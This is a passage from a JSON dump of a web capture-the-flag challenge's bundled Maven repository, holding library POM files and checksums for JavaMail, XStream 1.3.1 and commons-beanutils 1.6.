<version>2.4</version>\n\t\t</plugin>\n\t\t<plugin>\n\t\t    <groupId>org.apache.maven.plugins</groupId>\n\t\t    <artifactId>maven-surefire-plugin</artifactId>\n\t\t    <version>2.4.3</version>\n\t\t</plugin>\n\t\t<plugin>\n\t\t    <groupId>org.apache.maven.plugins</groupId>\n\t\t    <artifactId>maven-jar-plugin</artifactId>\n\t\t    <version>2.4</version>\n\t\t</plugin>\n\t\t<plugin>\n\t\t    <groupId>org.codehaus.mojo</groupId>\n\t\t    <artifactId>build-helper-maven-plugin</artifactId>\n\t\t    <version>1.7</version>\n\t\t</plugin>\n\t\t<plugin>\n\t\t    <!--\n\t\t\tBy default, disable the FindBugs plugin for all modules.\n\t\t\tIt's enabled in the modules where we actually want to\n\t\t\trun it.\n\t\t    -->\n\t\t    <groupId>org.codehaus.mojo</groupId>\n\t\t    <artifactId>findbugs-maven-plugin</artifactId>\n\t\t    <version>${findbugs.version}</version>\n\t\t    <configuration>\n\t\t\t<skip>${findbugs.skip}</skip>\n\t\t\t<threshold>${findbugs.threshold}</threshold>\n\t\t\t<findbugsXmlWithMessages>true</findbugsXmlWithMessages>\n\t\t\t<excludeFilterFile>\n\t\t\t    ${findbugs.exclude}\n\t\t\t</excludeFilterFile>\n\t\t    </configuration>\n\t\t</plugin>\n\t\t<plugin>\n\t\t    <groupId>org.apache.maven.plugins</groupId>\n\t\t    <artifactId>maven-enforcer-plugin</artifactId>\n\t\t    <version>1.0</version>\n\t\t</plugin>\n\t\t<plugin>\n\t\t    <groupId>org.apache.felix</groupId>\n\t\t    <artifactId>maven-bundle-plugin</artifactId>\n\t\t    <version>2.1.0</version>\n\t\t</plugin>\n\t\t<plugin>\n\t\t    <groupId>org.apache.maven.plugins</groupId>\n\t\t    <artifactId>maven-source-plugin</artifactId>\n\t\t    <version>2.1.2</version>\n\t\t </plugin>\n\t\t<plugin>\n\t\t    <groupId>org.apache.maven.plugins</groupId>\n\t\t    <artifactId>maven-javadoc-plugin</artifactId>\n\t\t    <version>2.8.1</version>\n\t\t </plugin>\n\t\t<plugin>\n\t\t    <groupId>org.apache.maven.plugins</groupId>\n\t\t    <artifactId>maven-war-plugin</artifactId>\n\t\t    <version>2.2</version>\n\t\t </plugin>\n\t    </plugins>\n\t</pluginManagement>\n    </build>\n\n    <dependencyManagement>\n\t<dependencies>\n\t    <dependency>\n\t\t<groupId>com.sun.mail</groupId>\n\t\t<artifactId>javax.mail</artifactId>\n\t\t<version>${mail.version}</version>\n\t    </dependency>\n\t    <dependency>\n\t\t<groupId>com.sun.mail</groupId>\n\t\t<artifactId>dsn</artifactId>\n\t\t<version>${mail.version}</version>\n\t    </dependency>\n\t    <dependency>\n\t\t<groupId>com.sun.mail</groupId>\n\t\t<artifactId>gimap</artifactId>\n\t\t<version>${mail.version}</version>\n\t    </dependency>\n\t    <dependency>\n\t\t<groupId>com.sun.mail</groupId>\n\t\t<artifactId>mbox</artifactId>\n\t\t<version>${mail.version}</version>\n\t    </dependency>\n\t    <dependency>\n\t\t<groupId>com.sun.mail</groupId>\n\t\t<artifactId>taglib</artifactId>\n\t\t<version>${mail.version}</version>\n\t    </dependency>\n\t    <dependency>\n\t\t<groupId>javax.servlet</groupId>\n\t\t<artifactId>servlet-api</artifactId>\n\t\t<version>2.5</version>\n\t    </dependency>\n\t    <dependency>\n\t\t<groupId>javax.servlet.jsp</groupId>\n\t\t<artifactId>jsp-api</artifactId>\n\t\t<version>2.1</version>\n\t    </dependency>\n\t</dependencies>\n    </dependencyManagement>\n\n    <dependencies>\n\t<dependency>\n\t    <groupId>javax.activation</groupId>\n\t    <artifactId>activation</artifactId>\n\t    <version>${activation-api.version}</version>\n\t</dependency>\n    </dependencies>\n\n    <reporting>\n\t<plugins>\n\t    <!--\n\t\tConfigure FindBugs to run with \"mvn site\" and\n\t\tgenerate html output that can be viewed directly.\n\t    -->\n\t    <plugin>\n\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t<artifactId>findbugs-maven-plugin</artifactId>\n\t\t<version>${findbugs.version}</version>\n\t\t<configuration>\n\t\t    <skip>${findbugs.skip}</skip>\n\t\t    <threshold>${findbugs.threshold}</threshold>\n\t\t    <excludeFilterFile>\n\t\t\t${findbugs.exclude}\n\t\t    </excludeFilterFile>\n\t\t</configuration>\n\t    </plugin>\n\t</plugins>\n    </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/sun/mail/all/1.4.7/all-1.4.7.pom.sha1",
    "content": "69662337a9cfcf5d68b9268349acf073119428a9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream/1.3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:20 CST 2018\nxstream-1.3.1.jar>central=\nxstream-1.3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream/1.3.1/xstream-1.3.1.jar.sha1",
    "content": "c23741bfc42efa760c6acdb90a131814c70aeb8d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream/1.3.1/xstream-1.3.1.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <!--\n     Copyright (C) 2006 Joe Walnes.\n     Copyright (C) 2006, 2007, 2008 XStream committers.\n     All rights reserved.\n     \n     The software in this package is published under the terms of the BSD\n     style license a copy of which has been included with this distribution in\n     the LICENSE.txt file.\n     \n     Created on 29. July 2006 by Mauro Talevi\n     -->\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>com.thoughtworks.xstream</groupId>\n    <artifactId>xstream-parent</artifactId>\n    <version>1.3.1</version>\n  </parent>\n  <artifactId>xstream</artifactId>\n  <packaging>jar</packaging>\n  <name>XStream Core</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>dom4j</groupId>\n      <artifactId>dom4j</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>org.jdom</groupId>\n      <artifactId>jdom</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>joda-time</groupId>\n      <artifactId>joda-time</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>stax</groupId>\n      <artifactId>stax</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.woodstox</groupId>\n      <artifactId>wstx-asl</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>stax</groupId>\n      <artifactId>stax-api</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>xom</groupId>\n      <artifactId>xom</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>xpp3</groupId>\n      <artifactId>xpp3_min</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>cglib</groupId>\n      <artifactId>cglib-nodep</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.jettison</groupId>\n      <artifactId>jettison</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <!-- test-scoped -->\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>jmock</groupId>\n      <artifactId>jmock</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>com.megginson.sax</groupId>\n      <artifactId>xml-writer</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>oro</groupId>\n      <artifactId>oro</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>commons-lang</groupId>\n      <artifactId>commons-lang</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <profiles>\n    <profile>\n      <id>jdk15</id>\n      <activation>\n        <jdk>1.5</jdk>\n      </activation>\n      <build>\n        <plugins>\n          <!-- two-stage compile process as a workaround until multiple JDK support is added\n            http://jira.codehaus.org/browse/MCOMPILER-37 \n          -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-compiler-plugin</artifactId>\n            <configuration>\n              <source>1.3</source>\n              <target>1.3</target>\n              <excludes>\n                <exclude>**/annotations/*</exclude>\n                <exclude>**/AnnotationMapper*</exclude>\n                <exclude>**/EnumMapper*</exclude>\n                <exclude>**/enums/*</exclude>\n                <exclude>**/HarmonyReflectionProvider*</exclude>\n              </excludes>\n              <testExcludes>\n                <exclude>**/annotations/*</exclude>\n                <exclude>**/enums/*</exclude>\n                <exclude>**/acceptance/SecurityManagerTest*</exclude>\n              </testExcludes>\n            </configuration>\n            <executions>\n              <execution>\n                <id>compile-jdk15</id>\n                <configuration>\n                  <source>1.5</source>\n                  <target>1.5</target>\n                  <excludes>\n                    <exclude>foo</exclude>\n                    <exclude>foo</exclude>\n                    <exclude>foo</exclude>\n                    <exclude>foo</exclude>\n                    <exclude>**/HarmonyReflectionProvider*</exclude>\n                  </excludes>\n                  <testExcludes>\n                    <exclude>foo</exclude>\n                    <exclude>foo</exclude>\n                    <exclude>**/acceptance/SecurityManagerTest*</exclude>\n                  </testExcludes>\n                </configuration>\n                <goals>\n                  <goal>compile</goal>\n                  <goal>testCompile</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadoc</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <excludePackageNames>\n                    com.thoughtworks.xstream.core:com.thoughtworks.xstream.io.xml.xppdom\n                  </excludePackageNames>\n                  <links>\n                    <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                  </links>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <!-- Drop this profile if MNG-1910 is applied! -->\n      <id>jdk16</id>\n      <activation>\n        <jdk>1.6</jdk>\n      </activation>\n      <build>\n        <plugins>\n          <!-- two-stage compile process as a workaround until multiple JDK support is added\n            http://jira.codehaus.org/browse/MCOMPILER-37 \n          -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-compiler-plugin</artifactId>\n            <configuration>\n              <source>1.3</source>\n              <target>1.3</target>\n              <excludes>\n                <exclude>**/annotations/*</exclude>\n                <exclude>**/AnnotationMapper*</exclude>\n                <exclude>**/EnumMapper*</exclude>\n                <exclude>**/enums/*</exclude>\n                <exclude>**/HarmonyReflectionProvider*</exclude>\n              </excludes>\n              <testExcludes>\n                <exclude>**/annotations/*</exclude>\n                <exclude>**/enums/*</exclude>\n                <exclude>**/acceptance/SecurityManagerTest*</exclude>\n              </testExcludes>\n            </configuration>\n            <executions>\n              <execution>\n                <id>compile-jdk15</id>\n                <configuration>\n                  <source>1.5</source>\n                  <target>1.5</target>\n                  <excludes>\n                    <exclude>foo</exclude>\n                    <exclude>foo</exclude>\n                    <exclude>foo</exclude>\n                    <exclude>foo</exclude>\n                    <exclude>**/HarmonyReflectionProvider*</exclude>\n                  </excludes>\n                  <testExcludes>\n                    <exclude>foo</exclude>\n                    <exclude>foo</exclude>\n                    <exclude>**/acceptance/SecurityManagerTest*</exclude>\n                  </testExcludes>\n                </configuration>\n                <goals>\n                  <goal>compile</goal>\n                  <goal>testCompile</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadoc</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <excludePackageNames>\n                    com.thoughtworks.xstream.core:com.thoughtworks.xstream.io.xml.xppdom\n                  </excludePackageNames>\n                  <links>\n                    <link>http://java.sun.com/javase/6/docs/api</link>\n                  </links>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>jdk14</id>\n      <activation>\n        <jdk>1.4</jdk>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-compiler-plugin</artifactId>\n            <configuration>\n              <source>1.3</source>\n              <target>1.3</target>\n              <excludes>\n                <exclude>**/annotations/*</exclude>\n                <exclude>**/AnnotationMapper*</exclude>\n                <exclude>**/EnumMapper*</exclude>\n                <exclude>**/enums/*</exclude>\n                <exclude>**/basic/StringBuilder*</exclude>\n                <exclude>**/basic/UUID*</exclude>\n                <exclude>**/HarmonyReflectionProvider*</exclude>\n              </excludes>\n              <testExcludes>\n                <exclude>**/annotations/*</exclude>\n                <exclude>**/enums/*</exclude>\n                <exclude>**/reflection/PureJavaReflectionProvider15Test*</exclude>\n                <exclude>**/acceptance/Basic15TypesTest*</exclude>\n                <exclude>**/acceptance/SecurityManagerTest*</exclude>\n              </testExcludes>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n      <dependencies>\n        <dependency>\n          <groupId>xml-apis</groupId>\n          <artifactId>xml-apis</artifactId>\n        </dependency>\n        <dependency>\n          <groupId>xerces</groupId>\n          <artifactId>xercesImpl</artifactId>\n        </dependency>\n      </dependencies>\n    </profile>\n  </profiles>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <excludePackageNames>\n            com.thoughtworks.xstream.core:com.thoughtworks.xstream.io.xml.xppdom\n          </excludePackageNames>\n          <links>\n            <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream/1.3.1/xstream-1.3.1.pom.sha1",
    "content": "d0965debefdcd42ec3de04a44e2b6e6ca93360d9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream-parent/1.3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:53 CST 2018\nxstream-parent-1.3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream-parent/1.3.1/xstream-parent-1.3.1.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <!--\n     Copyright (C) 2006 Joe Walnes.\n     Copyright (C) 2006, 2007, 2008 XStream committers.\n     All rights reserved.\n     \n     The software in this package is published under the terms of the BSD\n     style license a copy of which has been included with this distribution in\n     the LICENSE.txt file.\n     \n     Created on 29. July 2006 by Mauro Talevi\n     -->\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>com.thoughtworks.xstream</groupId>\n  <artifactId>xstream-parent</artifactId>\n  <packaging>pom</packaging>\n  <version>1.3.1</version>\n  <name>XStream Parent</name>\n\n  <inceptionYear>2004</inceptionYear>\n  <organization>\n    <name>XStream</name>\n    <url>http://xstream.codehaus.org</url>\n  </organization>\n\n  <!-- xstream-builder is currently JDK 5 only -->\n  <profiles>\n    <profile>\n      <id>jdk16</id>\n      <activation>\n        <jdk>1.6</jdk>\n      </activation>\n      <modules>\n        <module>xstream</module>\n        <!--module>xstream-builder</module-->\n        <module>xstream-benchmark</module>\n        <module>xstream-distribution</module>\n      </modules>\n    </profile>\n    <profile>\n      <id>jdk15</id>\n      <activation>\n        <jdk>1.5</jdk>\n      </activation>\n      <modules>\n        <module>xstream</module>\n        <!--module>xstream-builder</module-->\n        <module>xstream-benchmark</module>\n        <module>xstream-distribution</module>\n      </modules>\n    </profile>\n    <profile>\n      <id>jdk14</id>\n      <activation>\n        <jdk>1.4</jdk>\n      </activation>\n      <modules>\n        <module>xstream</module>\n        <module>xstream-benchmark</module>\n        <module>xstream-distribution</module>\n      </modules>\n    </profile>\n  </profiles>\n\n  <licenses>\n    <license>\n      <name>BSD style</name>\n      <url>http://xstream.codehaus.com/license.html</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>commons-io</groupId>\n        <artifactId>commons-io</artifactId>\n        <version>1.4</version>\n      </dependency>\n\n      <dependency>\n        <groupId>commons-cli</groupId>\n        <artifactId>commons-cli</artifactId>\n        <version>1.1</version>\n      </dependency>\n\n      <dependency>\n        <groupId>commons-lang</groupId>\n        <artifactId>commons-lang</artifactId>\n        <version>2.4</version>\n      </dependency>\n\n      <dependency>\n        <groupId>cglib</groupId>\n        <artifactId>cglib-nodep</artifactId>\n        <version>2.2</version>\n      </dependency>\n\n      <dependency>\n        <groupId>dom4j</groupId>\n        <artifactId>dom4j</artifactId>\n        <version>1.6.1</version>\n        <exclusions>\n          <exclusion>\n            <groupId>xml-apis</groupId>\n            <artifactId>xml-apis</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n\n      <dependency>\n        <groupId>org.jdom</groupId>\n        <artifactId>jdom</artifactId>\n        <version>1.1</version>\n      </dependency>\n\n      <dependency>\n        <groupId>joda-time</groupId>\n        <artifactId>joda-time</artifactId>\n        <version>1.6</version>\n      </dependency>\n\n      <dependency>\n        <groupId>com.megginson.sax</groupId>\n        <artifactId>xml-writer</artifactId>\n        <version>0.2</version>\n        <exclusions>\n          <exclusion>\n            <groupId>xml-apis</groupId>\n            <artifactId>xml-apis</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n\n      <dependency>\n        <groupId>stax</groupId>\n        <artifactId>stax</artifactId>\n        <version>1.2.0</version>\n      </dependency>\n\n      <dependency>\n        <groupId>stax</groupId>\n        <artifactId>stax-api</artifactId>\n        <version>1.0.1</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.codehaus.woodstox</groupId>\n        <artifactId>wstx-asl</artifactId>\n        <version>3.2.7</version>\n      </dependency>\n\n      <dependency>\n        <groupId>xom</groupId>\n        <artifactId>xom</artifactId>\n        <version>1.1</version>\n        <exclusions>\n          <exclusion>\n            <groupId>xerces</groupId>\n            <artifactId>xmlParserAPIs</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>xerces</groupId>\n            <artifactId>xercesImpl</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>xalan</groupId>\n            <artifactId>xalan</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>jaxen</groupId>\n            <artifactId>jaxen</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n\n      <dependency>\n        <groupId>xpp3</groupId>\n        <artifactId>xpp3_min</artifactId>\n        <version>1.1.4c</version>\n      </dependency>\n\n      <dependency>\n        <groupId>oro</groupId>\n        <artifactId>oro</artifactId>\n        <version>2.0.8</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.codehaus.jettison</groupId>\n        <artifactId>jettison</artifactId>\n        <version>1.0.1</version>\n      </dependency>\n\n      <dependency>\n        <groupId>xml-apis</groupId>\n        <artifactId>xml-apis</artifactId>\n        <version>1.3.04</version>\n      </dependency>\n\n      <dependency>\n        <groupId>xerces</groupId>\n        <artifactId>xercesImpl</artifactId>\n        <version>2.8.1</version>\n      </dependency>\n\n      <!-- always test-scoped -->\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.1</version>\n        <scope>test</scope>\n      </dependency>\n\n      <dependency>\n        <groupId>jmock</groupId>\n        <artifactId>jmock</artifactId>\n        <version>1.0.1</version>\n        <scope>test</scope>\n      </dependency>\n\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <sourceDirectory>${basedir}/src/java</sourceDirectory>\n    <resources>\n      <resource>\n        <directory>${basedir}/src/java</directory>\n        <includes>\n          <include>**/*.properties</include>\n          <include>**/*.xml</include>\n        </includes>\n      </resource>\n    </resources>\n    <testSourceDirectory>${basedir}/src/test</testSourceDirectory>\n    <testResources>\n      <testResource>\n        <directory>${basedir}/src/test</directory>\n        <includes>\n          <include>**/*.xsl</include>\n          <include>**/*.txt</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-dependency-plugin</artifactId>\n          <version>2.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-eclipse-plugin</artifactId>\n\t\t  <configuration>\n            <downloadSources>true</downloadSources>\n\t\t  </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0-alpha-2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-8</version>\n          <configuration>\n            <goals>deploy</goals>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n          <executions>\n            <execution>\n              <id>attach-sources</id>\n              <phase>package</phase>\n              <goals>\n                <goal>jar</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n          <configuration>\n            <forkMode>once</forkMode>\n            <printSummary>true</printSummary>\n            <useFile>false</useFile>\n            <includes>\n                <include>**/*Test.java</include>\n                <include>**/*TestSuite.java</include>\n            </includes>\n            <excludes>\n                <exclude>**/Abstract*Test.java</exclude>\n                <exclude>**/*$*.java</exclude>\n            </excludes>\n            <systemProperties>\n              <property>\n                <name>java.awt.headless</name>\n                <value>true</value>\n              </property>\n            </systemProperties>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-report-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>cobertura-maven-plugin</artifactId>\n          <version>2.0</version>\n          <executions>\n            <execution>\n              <goals>\n                <goal>clean</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>jxr-maven-plugin</artifactId>\n          <version>2.0-beta-1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.xsite</groupId>\n          <artifactId>xsite-maven-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/xstream/tags</tagBase>\n        </configuration>\n      </plugin>\n    </plugins>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-beta-2</version>\n      </extension>\n    </extensions>\n  </build>\n\n  <distributionManagement>\n    <!--  \n      The server id here defined must also appear in ~/.m2/settings.xml\n      cf. settings-template.xml\n    -->\n    <repository>\n      <id>codehaus.org</id>\n      <name>Codehaus XStream Repository</name>\n      <url>dav:https://dav.codehaus.org/repository/xstream</url>\n    </repository>\n    <snapshotRepository>\n      <id>codehaus.org</id>\n      <name>Codehaus XStream Snapshot Repository</name>\n      <url>dav:https://dav.codehaus.org/snapshots.repository/xstream</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <name>Codehaus XStream Site</name>\n      <url>dav:https://dav.codehaus.org/xstream</url>\n    </site>\n  </distributionManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/xstream/tags/XSTREAM_1_3_1</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/xstream/tags/XSTREAM_1_3_1</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/xstream/tags/XSTREAM_1_3_1</url>\n  </scm>\n\n  <!--\n  disabled on purpose, Codehaus is synched with Central and \n  Jason called it bad practice to add repos in POM instead of settings.\n\n  <repositories>\n    <repository>\n      <id>codehaus-repository</id>\n      <name>Codehaus Repository</name>\n      <url>http://repository.codehaus.org</url>\n    </repository>\n  </repositories>\n\n  <pluginRepositories>\n    <pluginRepository>\n      <id>codehaus-plugin-repository</id>\n      <name>Codehaus Plugin Repository</name>\n      <url>http://repository.codehaus.org</url>\n    </pluginRepository>\n    <pluginRepository>\n      <id>codehaus-plugin-snapshot-repository</id>\n      <name>Codehaus Plugin Snapshot Repository</name>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n    </pluginRepository>\n  </pluginRepositories>\n  -->\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream-parent/1.3.1/xstream-parent-1.3.1.pom.sha1",
    "content": "e516d2261450f78366236bbe26facdc856d7911e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:25 CST 2018\ncommons-beanutils-1.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-beanutils</groupId>\n  <artifactId>commons-beanutils</artifactId>\n  <name>BeanUtils</name>\n  <version>1.6</version>\n  <description>Java Bean Utililities</description>\n  <url>http://jakarta.apache.org/commons/beanutils/</url>\n  <inceptionYear>2000</inceptionYear>\n  <developers>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n      <email>rdonkin@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>dion</id>\n      <name>dIon Gillard</name>\n      <email>dion@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>geirm</id>\n      <name>Geir Magnusson Jr.</name>\n      <email>geirm@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>sanders</id>\n      <name>Scott Sanders</name>\n      <email>sanders@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email>rwaldhoff@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n  </developers>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*TestCase.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n   